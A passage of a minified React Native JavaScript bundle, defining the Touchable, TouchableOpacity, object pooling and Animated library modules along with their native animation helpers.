which is not supported. This is most likely due to `Touchable.longPressDelayTimeout` not being cancelled.\"):this._receiveSignal(O.LONG_PRESS_DETECTED,E)},_receiveSignal:function(E,t){var e=this.state.touchable.responderID,R=this.state.touchable.touchState,i=u[R]&&u[R][E];if(e||E!==O.RESPONDER_RELEASE){if(!i)throw new Error(\"Unrecognized signal `\"+E+\"` or state `\"+R+\"` for Touchable responder `\"+e+\"`\");if(i===N.ERROR)throw new Error(\"Touchable cannot transition from `\"+R+\"` to `\"+E+\"` for responder `\"+e+\"`\");R!==i&&(this._performSideEffectsForTransition(R,i,E,t),this.state.touchable.touchState=i)}},_cancelLongPressDelayTimeout:function(){this.longPressDelayTimeout&&clearTimeout(this.longPressDelayTimeout),this.longPressDelayTimeout=null},_isHighlight:function(E){return E===N.RESPONDER_ACTIVE_PRESS_IN||E===N.RESPONDER_ACTIVE_LONG_PRESS_IN},_savePressInLocation:function(E){var t=n.extractSingleTouch(E.nativeEvent),e=t&&t.pageX,R=t&&t.pageY,i=t&&t.locationX,_=t&&t.locationY;this.pressInLocation={pageX:e,pageY:R,locationX:i,locationY:_}},_getDistanceBetweenPoints:function(E,t,e,R){var i=E-e,_=t-R;return Math.sqrt(i*i+_*_)},_performSideEffectsForTransition:function(E,t,e,R){var i=this._isHighlight(E),_=this._isHighlight(t),s=e===O.RESPONDER_TERMINATED||e===O.RESPONDER_RELEASE;if(s&&this._cancelLongPressDelayTimeout(),!T[E]&&T[t]&&this._remeasureMetricsOnActivation(),h[E]&&e===O.LONG_PRESS_DETECTED&&this.touchableHandleLongPress&&this.touchableHandleLongPress(R),_&&!i?this._startHighlight(R):!_&&i&&this._endHighlight(R),h[E]&&e===O.RESPONDER_RELEASE){var S=!!this.props.onLongPress,o=P[E]&&(!S||!this.touchableLongPressCancelsPress()),n=!P[E]||o;n&&this.touchableHandlePress&&(_||i||(this._startHighlight(R),this._endHighlight(R)),this.touchableHandlePress(R))}this.touchableDelayTimeout&&clearTimeout(this.touchableDelayTimeout),this.touchableDelayTimeout=null},_startHighlight:function(E){this._savePressInLocation(E),this.touchableHandleActivePressIn&&this.touchableHandleActivePressIn(E)},_endHighlight:function(E){var t=this;this.touchableHandleActivePressOut&&(this.touchableGetPressOutDelayMS&&this.touchableGetPressOutDelayMS()?this.pressOutDelayTimeout=setTimeout(function(){t.touchableHandleActivePressOut(E)},this.touchableGetPressOutDelayMS()):this.touchableHandleActivePressOut(E))}},L={Mixin:d,TOUCH_TARGET_DEBUG:!1,renderDebugView:function(E){E.color,E.hitSlop;if(!L.TOUCH_TARGET_DEBUG)return null;throw Error(\"Touchable.TOUCH_TARGET_DEBUG should not be enabled in prod!\")}};e.exports=L},166);\n__d(function(t,o,e,i){\"use strict\";function n(t,o){this.width=t,this.height=o}var h=o(168),r=h.twoArgumentPooler;n.prototype.destructor=function(){this.width=null,this.height=null},n.getPooledFromElement=function(t){return n.getPooled(t.offsetWidth,t.offsetHeight)},h.addPoolingTo(n,r),e.exports=n},167);\n__d(function(n,o,e,t){\"use strict\";var r=o(13),i=function(n){var o=this;if(o.instancePool.length){var e=o.instancePool.pop();return o.call(e,n),e}return new o(n)},l=function(n,o){var e=this;if(e.instancePool.length){var t=e.instancePool.pop();return e.call(t,n,o),t}return new e(n,o)},a=function(n,o,e){var t=this;if(t.instancePool.length){var r=t.instancePool.pop();return t.call(r,n,o,e),r}return new t(n,o,e)},c=function(n,o,e,t){var r=this;if(r.instancePool.length){var i=r.instancePool.pop();return r.call(i,n,o,e,t),i}return new r(n,o,e,t)},s=function(n){var o=this;r(n instanceof o,\"Trying to release an instance into a pool of a different type.\"),n.destructor(),o.instancePool.length<o.poolSize&&o.instancePool.push(n)},u=10,P=i,f=function(n,o){var e=n;return e.instancePool=[],e.getPooled=o||P,e.poolSize||(e.poolSize=u),e.release=s,e},p={addPoolingTo:f,oneArgumentPooler:i,twoArgumentPooler:l,threeArgumentPooler:a,fourArgumentPooler:c};e.exports=p},168);\n__d(function(t,o,n,i){\"use strict\";function e(t,o){this.left=t,this.top=o}var l=o(168),r=l.twoArgumentPooler;e.prototype.destructor=function(){this.left=null,this.top=null},l.addPoolingTo(e,r),n.exports=e},169);\n__d(function(t,i,e,n){\"use strict\";function a(){this.__nativeTVNavigationEventListener=null,this.__nativeTVNavigationEventEmitter=null}var v=(i(114),i(15).TVNavigationEventEmitter),o=i(80);a.prototype.enable=function(t,i){v&&(this.__nativeTVNavigationEventEmitter=new o(v),this.__nativeTVNavigationEventListener=this.__nativeTVNavigationEventEmitter.addListener(\"onTVNavEvent\",function(e){i&&i(t,e)}))},a.prototype.disable=function(){this.__nativeTVNavigationEventListener&&(this.__nativeTVNavigationEventListener.remove(),delete this.__nativeTVNavigationEventListener),this.__nativeTVNavigationEventEmitter&&delete this.__nativeTVNavigationEventEmitter},e.exports=a},170);\n__d(function(t,e,n,c){\"use strict\";var r={extractSingleTouch:function(t){var e=t.touches,n=t.changedTouches,c=e&&e.length>0,r=n&&n.length>0;return!c&&r?n[0]:c?e[0]:t}};n.exports=r},171);\n__d(function(r,n,t,i){\"use strict\";var o=function(r,n){var t={};for(var i in r)t[i]=r[i];for(var o in n)t[o]=n[o];return t};t.exports=o},172);\n__d(function(e,t,r,n){\"use strict\";var o=t(114),s=t(144),i=t(165),l=t(110),a=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){return o.createElement(l,{style:[c.container,this.props.style]},o.createElement(i,{style:c.info},\"TouchableNativeFeedback is not supported on this platform!\"))}}]),t}(o.Component),c=s.create({container:{height:100,width:300,backgroundColor:\"#ffbcbc\",borderWidth:1,borderColor:\"red\",alignItems:\"center\",justifyContent:\"center\",margin:10},info:{color:\"#333333\",margin:20}});r.exports=a},173);\n__d(function(t,e,s,i){\"use strict\";var o=e(175),n=e(200),a=e(43),r=e(114),p=e(111),c=e(216),l=e(166),h=e(217),u=e(140),y=e(218),d=e(60),b={top:20,left:20,right:20,bottom:30},f=u({displayName:\"TouchableOpacity\",mixins:[c,l.Mixin,a],propTypes:babelHelpers.extends({},h.propTypes,{activeOpacity:p.number,tvParallaxProperties:p.object}),getDefaultProps:function(){return{activeOpacity:.2}},getInitialState:function(){return babelHelpers.extends({},this.touchableGetInitialState(),{anim:new o.Value(this._getChildStyleOpacityWithDefault())})},componentDidMount:function(){y(this.props)},componentWillReceiveProps:function(t){y(t)},setOpacityTo:function(t,e){o.timing(this.state.anim,{toValue:t,duration:e,easing:n.inOut(n.quad),useNativeDriver:!0}).start()},touchableHandleActivePressIn:function(t){\"onResponderGrant\"===t.dispatchConfig.registrationName?this._opacityActive(0):this._opacityActive(150),this.props.onPressIn&&this.props.onPressIn(t)},touchableHandleActivePressOut:function(t){this._opacityInactive(250),this.props.onPressOut&&this.props.onPressOut(t)},touchableHandlePress:function(t){this.props.onPress&&this.props.onPress(t)},touchableHandleLongPress:function(t){this.props.onLongPress&&this.props.onLongPress(t)},touchableGetPressRectOffset:function(){return this.props.pressRetentionOffset||b},touchableGetHitSlop:function(){return this.props.hitSlop},touchableGetHighlightDelayMS:function(){return this.props.delayPressIn||0},touchableGetLongPressDelayMS:function(){return 0===this.props.delayLongPress?0:this.props.delayLongPress||500},touchableGetPressOutDelayMS:function(){return this.props.delayPressOut},_opacityActive:function(t){this.setOpacityTo(this.props.activeOpacity,t)},_opacityInactive:function(t){this.setOpacityTo(this._getChildStyleOpacityWithDefault(),t)},_getChildStyleOpacityWithDefault:function(){var t=d(this.props.style)||{};return void 0==t.opacity?1:t.opacity},render:function(){return r.createElement(o.View,{accessible:this.props.accessible!==!1,accessibilityLabel:this.props.accessibilityLabel,accessibilityComponentType:this.props.accessibilityComponentType,accessibilityTraits:this.props.accessibilityTraits,style:[this.props.style,{opacity:this.state.anim}],nativeID:this.props.nativeID,testID:this.props.testID,onLayout:this.props.onLayout,isTVSelectable:!0,tvParallaxProperties:this.props.tvParallaxProperties,hitSlop:this.props.hitSlop,onStartShouldSetResponder:this.touchableHandleStartShouldSetResponder,onResponderTerminationRequest:this.touchableHandleResponderTerminationRequest,onResponderGrant:this.touchableHandleResponderGrant,onResponderMove:this.touchableHandleResponderMove,onResponderRelease:this.touchableHandleResponderRelease,onResponderTerminate:this.touchableHandleResponderTerminate},this.props.children,l.renderDebugView({color:\"cyan\",hitSlop:this.props.hitSlop}))}});s.exports=f},174);\n__d(function(e,t,n,o){\"use strict\";var a=t(176),r=t(203),c=t(165),i=t(110),m=void 0,d={View:a.createAnimatedComponent(i),Text:a.createAnimatedComponent(c),Image:a.createAnimatedComponent(r),get ScrollView(){return m||(m=a.createAnimatedComponent(t(205))),m}};babelHelpers.extends(d,a),n.exports=d},175);\n__d(function(n,t,e,i){\"use strict\";function r(n,t){return n?n instanceof u?(n.__addListener(t),n):function(){\"function\"==typeof n&&n.apply(void 0,arguments),t.apply(void 0,arguments)}:t}function o(n,t){n&&n instanceof u&&n.__removeListener(t)}var a=t(177),u=a.AnimatedEvent,s=a.attachNativeEvent,c=t(185),f=t(186),v=t(187),p=t(179),l=t(188),d=t(189),g=t(180),h=t(190),m=t(193),_=t(178),N=t(194),w=t(195),y=t(197),E=t(199),L=t(202),A=function(n,t){return new c(n,t)},D=function(n,t){return new v(n,t)},b=function(n,t){return new d(n,t)},x=function(n,t){return new l(n,t)},U=function(n,t,e){return new f(n,t,e)},k=function(n,t){return n&&t.onComplete?function(){t.onComplete&&t.onComplete.apply(t,arguments),n&&n.apply(void 0,arguments)}:n||t.onComplete},V=function(n,t,e){if(n instanceof N){var i=babelHelpers.extends({},t),r=babelHelpers.extends({},t);for(var o in t){var a=t[o],u=a.x,s=a.y;void 0!==u&&void 0!==s&&(i[o]=u,r[o]=s)}var c=e(n.x,i),f=e(n.y,r);return q([c,f],{stopTogether:!1})}return null},C=function n(t,e){var i=function(n,t,e){e=k(e,t);var i=n,r=t;i.stopTracking(),t.toValue instanceof g?i.track(new m(i,t.toValue,y,r,e)):i.animate(new y(r),e)};return V(t,e,n)||{start:function(n){function t(t){return n.apply(this,arguments)}return t.toString=function(){return n.toString()},t}(function(n){i(t,e,n)}),stop:function(){t.stopAnimation()},reset:function(){t.resetAnimation()},_startNativeLoop:function(n){var r=babelHelpers.extends({},e,{iterations:n});i(t,r)},_isUsingNativeDriver:function(){return e.useNativeDriver||!1}}},H=function n(t,e){var i=function(n,t,e){e=k(e,t);var i=n,r=t;i.stopTracking(),t.toValue instanceof g?i.track(new m(i,t.toValue,E,r,e)):i.animate(new E(r),e)};return V(t,e,n)||{start:function(n){function t(t){return n.apply(this,arguments)}return t.toString=function(){return n.toString()},t}(function(n){i(t,e,n)}),stop:function(){t.stopAnimation()},reset:function(){t.resetAnimation()},_startNativeLoop:function(n){var r=babelHelpers.extends({},e,{iterations:n});i(t,r)},_isUsingNativeDriver:function(){return e.useNativeDriver||!1}}},S=function n(t,e){var i=function(n,t,e){e=k(e,t);var i=n,r=t;i.stopTracking(),i.animate(new w(r),e)};return V(t,e,n)||{start:function(n){function t(t){return n.apply(this,arguments)}return t.toString=function(){return n.toString()},t}(function(n){i(t,e,n)}),stop:function(){t.stopAnimation()},reset:function(){t.resetAnimation()},_startNativeLoop:function(n){var r=babelHelpers.extends({},e,{iterations:n});i(t,r)},_isUsingNativeDriver:function(){return e.useNativeDriver||!1}}},T=function(n){var t=0;return{start:function(e){var i=function i(r){return r.finished?(t++,t===n.length?void(e&&e(r)):void n[t].start(i)):void(e&&e(r))};0===n.length?e&&e({finished:!0}):n[t].start(i)},stop:function(){t<n.length&&n[t].stop()},reset:function(){n.forEach(function(n,e){e<=t&&n.reset()}),t=0},_startNativeLoop:function(){throw new Error(\"Loops run using the native driver cannot contain Animated.sequence animations\")},_isUsingNativeDriver:function(){return!1}}},q=function(n,t){var e=0,i={},r=!(t&&t.stopTogether===!1),o={start:function(t){return e===n.length?void(t&&t({finished:!0})):void n.forEach(function(a,u){var s=function(a){return i[u]=!0,e++,e===n.length?(e=0,void(t&&t(a))):void(!a.finished&&r&&o.stop())};a?a.start(s):s({finished:!0})})},stop:function(){n.forEach(function(n,t){!i[t]&&n.stop(),i[t]=!0})},reset:function(){n.forEach(function(n,t){n.reset(),i[t]=!1,e=0})},_startNativeLoop:function(){throw new Error(\"Loops run using the native driver cannot contain Animated.parallel animations\")},_isUsingNativeDriver:function(){return!1}};return o},F=function(n){return H(new _(0),{toValue:0,delay:n,duration:0})},I=function(n,t){return q(t.map(function(t,e){return T([F(n*e),t])}))},O=function(n){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},e=t.iterations,i=void 0===e?-1:e,r=!1,o=0;return{start:function(t){var e=function e(){var a=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{finished:!0};r||o===i||a.finished===!1?t&&t(a):(o++,n.reset(),n.start(e))};n&&0!==i?n._isUsingNativeDriver()?n._startNativeLoop(i):e():t&&t({finished:!0})},stop:function(){r=!0,n.stop()},reset:function(){o=0,r=!1,n.reset()},_startNativeLoop:function(){throw new Error(\"Loops run using the native driver cannot contain Animated.loop animations\")},_isUsingNativeDriver:function(){return n._isUsingNativeDriver()}}},P=function(n,t){var e=new u(n,t);return e.__isNative?e:e.__getHandler()};e.exports={Value:_,ValueXY:N,Interpolation:p,Node:g,decay:S,timing:H,spring:C,add:A,divide:D,multiply:b,modulo:x,diffClamp:U,delay:F,sequence:T,parallel:q,stagger:I,loop:O,event:P,createAnimatedComponent:L,attachNativeEvent:s,forkEvent:r,unforkEvent:o,__PropsOnlyForTests:h}},176);\n__d(function(e,t,n,i){\"use strict\";function a(e,t,n){var i=[],a=function e(t,n){if(t instanceof s)t.__makeNative(),i.push({nativeEventPath:n,animatedValueTag:t.__getNativeTag()});else if(\"object\"==typeof t)for(var a in t)e(t[a],n.concat(a))};l(n[0]&&n[0].nativeEvent,\"Native driven events only support animated values contained inside `nativeEvent`.\"),a(n[0].nativeEvent,[]);var o=v.findNodeHandle(e);return i.forEach(function(e){r.API.addAnimatedEventToView(o,t,e)}),{detach:function(){i.forEach(function(e){r.API.removeAnimatedEventFromView(o,t,e.animatedValueTag)})}}}var s=t(178),r=t(181),v=t(44),l=t(13),o=t(181),c=o.shouldUseNativeDriver,_=function(){function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};babelHelpers.classCallCheck(this,e),this._listeners=[],this._argMapping=t,n.listener&&this.__addListener(n.listener),this._callListeners=this._callListeners.bind(this),this._attachedEvent=null,this.__isNative=c(n)}return babelHelpers.createClass(e,[{key:\"__addListener\",value:function(e){this._listeners.push(e)}},{key:\"__removeListener\",value:function(e){this._listeners=this._listeners.filter(function(t){return t!==e})}},{key:\"__attach\",value:function(e,t){l(this.__isNative,\"Only native driven events need to be attached.\"),this._attachedEvent=a(e,t,this._argMapping)}},{key:\"__detach\",value:function(e,t){l(this.__isNative,\"Only native driven events need to be detached.\"),this._attachedEvent&&this._attachedEvent.detach()}},{key:\"__getHandler\",value:function(){var e=this;return this.__isNative?this._callListeners:function(){for(var t=arguments.length,n=Array(t),i=0;i<t;i++)n[i]=arguments[i];var a=function e(t,n,i){if(\"number\"==typeof n&&t instanceof s)t.setValue(n);else if(\"object\"==typeof t)for(var a in t)e(t[a],n[a],a)};e.__isNative||e._argMapping.forEach(function(e,t){a(e,n[t],\"arg\"+t)}),e._callListeners.apply(e,babelHelpers.toConsumableArray(n))}}},{key:\"_callListeners\",value:function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];this._listeners.forEach(function(e){return e.apply(void 0,t)})}},{key:\"_validateMapping\",value:function(){}}]),e}();n.exports={AnimatedEvent:_,attachNativeEvent:a}},177);\n__d(function(t,e,i,a){\"use strict\";function n(t){function e(t){\"function\"==typeof t.update?i.add(t):t.__getChildren().forEach(e)}var i=new Set;e(t),i.forEach(function(t){return t.update()})}var s=e(179),_=(e(180),e(182)),o=e(183),l=e(181),u=l.API,r=1,h=function(t){function e(t){babelHelpers.classCallCheck(this,e);var i=babelHelpers.possibleConstructorReturn(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));return i._startingValue=i._value=t,i._offset=0,i._animation=null,i._listeners={},i}return babelHelpers.inherits(e,t),babelHelpers.createClass(e,[{key:\"__detach\",value:function(){this.stopAnimation(),babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__detach\",this).call(this)}},{key:\"__getValue\",value:function(){return this._value+this._offset}},{key:\"__makeNative\",value:function(){babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__makeNative\",this).call(this),Object.keys(this._listeners).length&&this._startListeningToNativeValueUpdates()}},{key:\"setValue\",value:function(t){this._animation&&(this._animation.stop(),this._animation=null),this._updateValue(t,!this.__isNative),this.__isNative&&u.setAnimatedNodeValue(this.__getNativeTag(),t)}},{key:\"setOffset\",value:function(t){this._offset=t,this.__isNative&&u.setAnimatedNodeOffset(this.__getNativeTag(),t)}},{key:\"flattenOffset\",value:function(){this._value+=this._offset,this._offset=0,this.__isNative&&u.flattenAnimatedNodeOffset(this.__getNativeTag())}},{key:\"extractOffset\",value:function(){this._offset+=this._value,this._value=0,this.__isNative&&u.extractAnimatedNodeOffset(this.__getNativeTag())}},{key:\"addListener\",value:function(t){var e=String(r++);return this._listeners[e]=t,this.__isNative&&this._startListeningToNativeValueUpdates(),e}},{key:\"removeListener\",value:function(t){delete this._listeners[t],this.__isNative&&0===Object.keys(this._listeners).length&&this._stopListeningForNativeValueUpdates()}},{key:\"removeAllListeners\",value:function(){this._listeners={},this.__isNative&&this._stopListeningForNativeValueUpdates()}},{key:\"_startListeningToNativeValueUpdates\",value:function(){var t=this;this.__nativeAnimatedValueListener||(u.startListeningToAnimatedNodeValue(this.__getNativeTag()),this.__nativeAnimatedValueListener=l.nativeEventEmitter.addListener(\"onAnimatedValueUpdate\",function(e){e.tag===t.__getNativeTag()&&t._updateValue(e.value,!1)}))}},{key:\"_stopListeningForNativeValueUpdates\",value:function(){this.__nativeAnimatedValueListener&&(this.__nativeAnimatedValueListener.remove(),this.__nativeAnimatedValueListener=null,u.stopListeningToAnimatedNodeValue(this.__getNativeTag()))}},{key:\"stopAnimation\",value:function(t){this.stopTracking(),this._animation&&this._animation.stop(),this._animation=null,t&&t(this.__getValue())}},{key:\"resetAnimation\",value:function(t){this.stopAnimation(t),this._value=this._startingValue}},{key:\"interpolate\",value:function(t){return new s(this,t)}},{key:\"animate\",value:function(t,e){var i=this,a=null;t.__isInteraction&&(a=o.createInteractionHandle());var n=this._animation;this._animation&&this._animation.stop(),this._animation=t,t.start(this._value,function(t){i._updateValue(t,!0)},function(t){i._animation=null,null!==a&&o.clearInteractionHandle(a),e&&e(t)},n,this)}},{key:\"stopTracking\",value:function(){this._tracking&&this._tracking.__detach(),this._tracking=null}},{key:\"track\",value:function(t){this.stopTracking(),this._tracking=t}},{key:\"_updateValue\",value:function(t,e){this._value=t,e&&n(this);for(var i in this._listeners)this._listeners[i]({value:this.__getValue()})}},{key:\"__getNativeConfig\",value:function(){return{type:\"value\",value:this._value,offset:this._offset}}}]),e}(_);i.exports=h},178);\n__d(function(t,e,n,a){\"use strict\";function r(t){if(t.outputRange&&\"string\"==typeof t.outputRange[0])return u(t);var e=t.outputRange;s(\"outputRange\",e);var n=t.inputRange;s(\"inputRange\",n),f(n),g(n.length===e.length,\"inputRange (\"+n.length+\") and outputRange (\"+e.length+\") must have the same length\");var a=t.easing||v,r=\"extend\";void 0!==t.extrapolateLeft?r=t.extrapolateLeft:void 0!==t.extrapolate&&(r=t.extrapolate);var o=\"extend\";return void 0!==t.extrapolateRight?o=t.extrapolateRight:void 0!==t.extrapolate&&(o=t.extrapolate),function(t){g(\"number\"==typeof t,\"Cannot interpolation an input which is not a number\");var u=c(t,n);return i(t,n[u],n[u+1],e[u],e[u+1],a,r,o)}}function i(t,e,n,a,r,i,o,u){var p=t;if(p<e){if(\"identity\"===o)return p;\"clamp\"===o&&(p=e)}if(p>n){if(\"identity\"===u)return p;\"clamp\"===u&&(p=n)}return a===r?a:e===n?t<=e?a:r:(e===-(1/0)?p=-p:n===1/0?p-=e:p=(p-e)/(n-e),p=i(p),a===-(1/0)?p=-p:r===1/0?p+=a:p=p*(r-a)+a,p)}function o(t){var e=_(t);if(null===e)return t;e=e||0;var n=(4278190080&e)>>>24,a=(16711680&e)>>>16,r=(65280&e)>>>8,i=(255&e)/255;return\"rgba(\"+n+\", \"+a+\", \"+r+\", \"+i+\")\"}function u(t){var e=t.outputRange;g(e.length>=2,\"Bad output range\"),e=e.map(o),l(e);var n=e[0].match(m).map(function(){return[]});e.forEach(function(t){t.match(m).forEach(function(t,e){n[e].push(+t)})});var a=e[0].match(m).map(function(e,a){return r(babelHelpers.extends({},t,{outputRange:n[a]}))}),i=p(e[0]);return function(t){var n=0;return e[0].replace(m,function(){var e=+a[n++](t),r=i&&n<4?Math.round(e):Math.round(1e3*e)/1e3;return String(r)})}}function p(t){return\"string\"==typeof t&&t.startsWith(\"rgb\")}function l(t){for(var e=t[0].replace(m,\"\"),n=1;n<t.length;++n)g(e===t[n].replace(m,\"\"),\"invalid pattern \"+t[0]+\" and \"+t[n])}function c(t,e){var n=void 0;for(n=1;n<e.length-1&&!(e[n]>=t);++n);return n-1}function f(t){g(t.length>=2,\"inputRange must have at least 2 elements\");for(var e=1;e<t.length;++e)g(t[e]>=t[e-1],\"inputRange must be monotonically increasing \"+t)}function s(t,e){g(e.length>=2,t+\" must have at least 2 elements\"),g(2!==e.length||e[0]!==-(1/0)||e[1]!==1/0,t+\"cannot be ]-infinity;+infinity[ \"+e)}var h=(e(180),e(182)),g=(e(181),e(13)),_=e(42),v=function(t){return t},m=/[0-9\\.-]+/g,y=function(t){function e(t,n){babelHelpers.classCallCheck(this,e);var a=babelHelpers.possibleConstructorReturn(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));return a._parent=t,a._config=n,a._interpolation=r(n),a}return babelHelpers.inherits(e,t),babelHelpers.createClass(e,[{key:\"__makeNative\",value:function(){this._parent.__makeNative(),babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__makeNative\",this).call(this)}},{key:\"__getValue\",value:function(){var t=this._parent.__getValue();return g(\"number\"==typeof t,\"Cannot interpolate an input which is not a number.\"),this._interpolation(t)}},{key:\"interpolate\",value:function(t){return new e(this,t)}},{key:\"__attach\",value:function(){this._parent.__addChild(this)}},{key:\"__detach\",value:function(){this._parent.__removeChild(this),babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__detach\",this).call(this)}},{key:\"__transformDataType\",value:function(t){return t.map(function(t){if(\"string\"!=typeof t)return t;if(/deg$/.test(t)){var e=parseFloat(t)||0,n=e*Math.PI/180;return n}return parseFloat(t)||0})}},{key:\"__getNativeConfig\",value:function(){return{inputRange:this._config.inputRange,outputRange:this.__transformDataType(this._config.outputRange),extrapolateLeft:this._config.extrapolateLeft||this._config.extrapolate||\"extend\",extrapolateRight:this._config.extrapolateRight||this._config.extrapolate||\"extend\",type:\"interpolation\"}}}]),e}(h);y.__createInterpolation=r,n.exports=y},179);\n__d(function(e,t,a,n){\"use strict\";var i=t(181),_=t(13),o=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,[{key:\"__attach\",value:function(){}},{key:\"__detach\",value:function(){this.__isNative&&null!=this.__nativeTag&&(i.API.dropAnimatedNode(this.__nativeTag),this.__nativeTag=void 0)}},{key:\"__getValue\",value:function(){}},{key:\"__getAnimatedValue\",value:function(){return this.__getValue()}},{key:\"__addChild\",value:function(e){}},{key:\"__removeChild\",value:function(e){}},{key:\"__getChildren\",value:function(){return[]}},{key:\"__makeNative\",value:function(){if(!this.__isNative)throw new Error('This node cannot be made a \"native\" animated node')}},{key:\"__getNativeTag\",value:function(){if(i.assertNativeAnimatedModule(),_(this.__isNative,'Attempt to get native tag from node not marked as \"native\"'),null==this.__nativeTag){var e=i.generateNewNodeTag();i.API.createAnimatedNode(e,this.__getNativeConfig()),this.__nativeTag=e}return this.__nativeTag}},{key:\"__getNativeConfig\",value:function(){throw new Error(\"This JS animated node type cannot be used as native animated node\")}},{key:\"toJSON\",value:function(){return this.__getValue()}}]),e}();a.exports=o},180);\n__d(function(e,t,n,o){\"use strict\";function i(e){e.forEach(function(e){if(!g.hasOwnProperty(e.property))throw new Error(\"Property '\"+e.property+\"' is not supported by native animated module\")})}function a(e){for(var t in e)if(!w.hasOwnProperty(t))throw new Error(\"Style property '\"+t+\"' is not supported by native animated module\")}function r(e){var t={inputRange:!0,outputRange:!0,extrapolate:!0,extrapolateRight:!0,extrapolateLeft:!0};for(var n in e)if(!t.hasOwnProperty(n))throw new Error(\"Interpolation property '\"+n+\"' is not supported by native animated module\")}function d(){return p++}function s(){return A++}function c(){l(u,\"Native animated module is not available\")}function m(e){return e.useNativeDriver&&!u?(h||(console.warn(\"Animated: `useNativeDriver` is not supported because the native animated module is missing. Falling back to JS-based animation. To resolve this, add `RCTAnimation` module to this app, or remove `useNativeDriver`. More info: https://github.com/facebook/react-native/issues/11094#issuecomment-263240420\"),h=!0),!1):e.useNativeDriver||!1}var u=t(15).NativeAnimatedModule,f=t(80),l=t(13),p=1,A=1,N=void 0,v={createAnimatedNode:function(e,t){c(),u.createAnimatedNode(e,t)},startListeningToAnimatedNodeValue:function(e){c(),u.startListeningToAnimatedNodeValue(e)},stopListeningToAnimatedNodeValue:function(e){c(),u.stopListeningToAnimatedNodeValue(e)},connectAnimatedNodes:function(e,t){c(),u.connectAnimatedNodes(e,t)},disconnectAnimatedNodes:function(e,t){c(),u.disconnectAnimatedNodes(e,t)},startAnimatingNode:function(e,t,n,o){c(),u.startAnimatingNode(e,t,n,o)},stopAnimation:function(e){c(),u.stopAnimation(e)},setAnimatedNodeValue:function(e,t){c(),u.setAnimatedNodeValue(e,t)},setAnimatedNodeOffset:function(e,t){c(),u.setAnimatedNodeOffset(e,t)},flattenAnimatedNodeOffset:function(e){c(),u.flattenAnimatedNodeOffset(e)},extractAnimatedNodeOffset:function(e){c(),u.extractAnimatedNodeOffset(e)},connectAnimatedNodeToView:function(e,t){c(),u.connectAnimatedNodeToView(e,t)},disconnectAnimatedNodeFromView:function(e,t){c(),u.disconnectAnimatedNodeFromView(e,t)},dropAnimatedNode:function(e){c(),u.dropAnimatedNode(e)},addAnimatedEventToView:function(e,t,n){c(),u.addAnimatedEventToView(e,t,n)},removeAnimatedEventFromView:function(e,t,n){c(),u.removeAnimatedEventFromView(e,t,n)}},w={opacity:!0,transform:!0,scaleX:!0,scaleY:!0,translateX:!0,translateY:!0},g={translateX:!0,translateY:!0,scale:!0,scaleX:!0,scaleY:!0,rotate:!0,rotateX:!0,rotateY:!0,perspective:!0},h=!1;n.exports={API:v,validateStyles:a,validateTransform:i,validateInterpolation:r,generateNewNodeTag:d,generateNewAnimationId:s,assertNativeAnimatedModule:c,shouldUseNativeDriver:m,get nativeEventEmitter(){return N||(N=new f(u)),N}}},181);\n__d(function(e,t,i,a){\"use strict\";var _=t(180),n=t(181),r=function(e){function t(){babelHelpers.classCallCheck(this,t);var e=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e._children=[],e}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"__makeNative\",value:function(){if(!this.__isNative){this.__isNative=!0;for(var e=this._children,t=Array.isArray(e),i=0,e=t?e:e[\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"]();;){var a;if(t){if(i>=e.length)break;a=e[i++]}else{if(i=e.next(),i.done)break;a=i.value}var _=a;_.__makeNative(),n.API.connectAnimatedNodes(this.__getNativeTag(),_.__getNativeTag())}}}},{key:\"__addChild\",value:function(e){0===this._children.length&&this.__attach(),this._children.push(e),this.__isNative&&(e.__makeNative(),n.API.connectAnimatedNodes(this.__getNativeTag(),e.__getNativeTag()))}},{key:\"__removeChild\",value:function(e){var t=this._children.indexOf(e);return t===-1?void console.warn(\"Trying to remove a child that doesn't exist\"):(this.__isNative&&e.__isNative&&n.API.disconnectAnimatedNodes(this.__getNativeTag(),e.__getNativeTag()),this._children.splice(t,1),void(0===this._children.length&&this.__detach()))}},{key:\"__getChildren\",value:function(){return this._children}}]),t}(_);i.exports=r},182);\n__d(function(e,n,t,r){\"use strict\";function a(){b||(b=L>0?setTimeout(o,0+p):setImmediate(o))}function o(){b=0;var e=w.size;T.forEach(function(e){return w.add(e)}),E.forEach(function(e){return w.delete(e)});var n=w.size;if(0!==e&&0===n?m.emit(h.Events.interactionComplete):0===e&&0!==n&&m.emit(h.Events.interactionStart),0===n)for(;k.hasTasksToProcess();)if(k.processNext(),L>0&&i.getEventLoopRunningTime()>=L){a();break}T.clear(),E.clear()}var i=n(16),c=n(36),s=n(71),d=n(184),u=n(106),l=n(13),f=n(118),m=new c,p=0,v=!1,h={Events:f({interactionStart:!0,interactionComplete:!0}),runAfterInteractions:function(e){var n=[],t=new Promise(function(t){a(),e&&n.push(e),n.push({run:t,name:\"resolve \"+(e&&e.name||\"?\")}),k.enqueueTasks(n)});return{then:t.then.bind(t),done:function(){return t.done?t.done.apply(t,arguments):void console.warn(\"Tried to call done when not supported by current Promise implementation.\")},cancel:function(){k.cancelTasks(n)}}},createInteractionHandle:function(){v&&u(\"create interaction handle\"),a();var e=++I;return T.add(e),e},clearInteractionHandle:function(e){v&&u(\"clear interaction handle\"),l(!!e,\"Must provide a handle to clear.\"),a(),T.delete(e),E.add(e)},addListener:m.addListener.bind(m),setDeadline:function(e){L=e}},w=new s,T=new 